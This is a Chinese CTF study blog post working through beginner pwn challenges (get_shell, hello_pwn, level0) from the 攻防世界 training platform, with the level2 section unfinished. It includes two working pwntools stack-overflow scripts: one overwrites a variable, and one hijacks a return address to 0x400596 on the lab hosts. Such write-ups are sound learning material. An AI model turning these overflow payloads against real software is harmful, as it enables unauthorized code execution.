攻防世界PWN刷题笔记(引导模式)1-3

感谢组长和其他高手让我入门学pwn,个人感觉做题和看课程应该一块推进,光看课程,容易疲乏,而且缺乏经验。只做题,学的知识缺乏体系,因此决定立志每天看课+做题(先保证不挂科的前提下),逆向我也觉得应该这样搞。

1.get_shell

直接nc连接后cat flag即可,不过多讲述。

2.hello_pwn

不写脚本思路

先用IDA分析main函数。

其中read函数第一个参数0表示从键盘中读取数据,因此就是输入。 我们点击n,看看内存布局是什么。其实在这里就可以怀疑这道题是栈溢出了。

通过观察看到,n和goal相差4的字节。 每一个0x1就是一个字节。我们通过read输入了大于4字节的东西,多的就会"溢出"跑到goal的地址,从而篡改goal的内容。我们尝试不编写脚本,直接输入看看。需要注意一个字符占1字节,我们需要先输入4个字符

没有效果。这是因为我们输入的数字多占了好多字节。汇编语言对goal使用dd定义,也就是4个字节。4个字节对应4个字符,所以我们需要考虑把数字转换为4个字符才可。在IDA中,大于等于两字节的数据的存储方式和我们的阅读习惯相反。IDA将数字转为字符是nuaa,(大于2字节,是小端序,所以我们需要将其转换为aaun才可,与我们阅读习惯相反)

大家看,成功了,下面用nc连接靶机正常输入就可以了。

写脚本思路

用pwntools写脚本,一是锻炼自己的能力,二是顺手给自己增加自信。但是py脚本我并不擅长,只是摸着石头过河。

python 复制代码
from pwn import *#首先引入pwntool库
p=remote('61.147.171.105',52789)#链接靶机
payload=b'a'*4+p32(1853186401)#构造payloacd,首先填充4字节无意义数据,再用p32把目标数字转换为4字节来修改指定变量的值
p.sendline(payload)#发送paylaod
p.interactive()

最终会在终端输出flag。

3.level0

checksec发现没有栈保护。

这个函数会在main函数结束后执行。main函数return的就是这个函数的调用结果。这个函数执行的时候明显会调用read函数。调用read函数,明显这里应该存在溢出。

但是发现函数的地址一直在低地址,这些函数都在高地址,怎么实现高地址对低地址的控制?好烦!查看writeup吧。

发现还是对栈溢出理解不到位。

这应该是栈帧视图。观察read函数上的buf字符数组,其长度为 80.它的下面还有s和r,r肯定保存着返回地址,s应该是保存的寄存器内容。我们只需要利用栈溢出,修改r的内容。s的长度是8.据此写出payload。具体的解释看下图,我们填满了函数自己的栈,溢出的内容覆盖了r.

我们看这个函数的汇编语言。在call read之前,肯定已经将下一个指令的地址储存在栈顶部了。我们的read函数会多让我们输入字节。我们只要填满buf字符数组.

payload:

python 复制代码
from pwn import *#首先引入pwntool库
p=remote(' 61.147.171.105',55683)#链接靶机
payload=b'a'*0x88+p64(0x400596)#构造payloacd,首先填充88字节,因为64位,再用p64覆盖地址
#需要注意是16进制,我用10进制没打通,估计需要进制转换
p.sendline(payload)#发送paylaod
p.interactive()#一会儿输入命令用

直接出现flag了。

4.level2

不知道为啥level2竟然比level1做出来的的人还多。现在开始尝试做这一道题。题目提示面向返回,估计八成还是栈溢出。

----------------------待更新---------------------------------------------------------------------

相关推荐
志尊宝42 分钟前
Vue3 零基础每日笔记(071):暗黑模式与主题切换——CSS 变量 + Element Plus 暗黑方案
前端·css·笔记·vue·html·前端开发·软件开发
沪上企服通2 小时前
历史账套科目重映射与规则版本重算:旧账梳理的“口径复位”工程
笔记·架构
Go Work6 小时前
2026 Cadence SPB 24.1中文版安装图文详解(附安装包)
经验分享·笔记
ACP广源盛139246256737 小时前
HDMI2.0 转 DP1.4 桥接方案评估:国产 GSV2125C@ACP 芯片选型笔记
笔记·硬件架构·hdmi·type-c·国产芯片
龙仔7257 小时前
RustDesk 自建服务器 Key 强校验配置笔记
运维·服务器·笔记
悟乙己8 小时前
AFAC2026 赛题四金融长文本 Agent竞赛学习笔记:赛题解析(一)
笔记·学习·金融
PC2005-cloud8 小时前
MySQL学习笔记:GTID 主从复制,从原理到实践,告别传统 Binlog+Position 的痛点
笔记·学习·mysql
悟乙己10 小时前
AFAC2026 赛题四金融长文本 Agent竞赛学习笔记:关联技术(二)
笔记·学习·金融
yi01111 小时前
LeetCode 424. 替换后的最长重复字符|不定长滑动窗口:如何判断窗口是否合法?
笔记·python·算法·leetcode·双指针·滑动窗口
杨逢昌工厂6S管理11 小时前
116——杨逢昌:归位三定闭环法的旺季轻量化执行方案与工具清单
经验分享·笔记·职场和发展·学习方法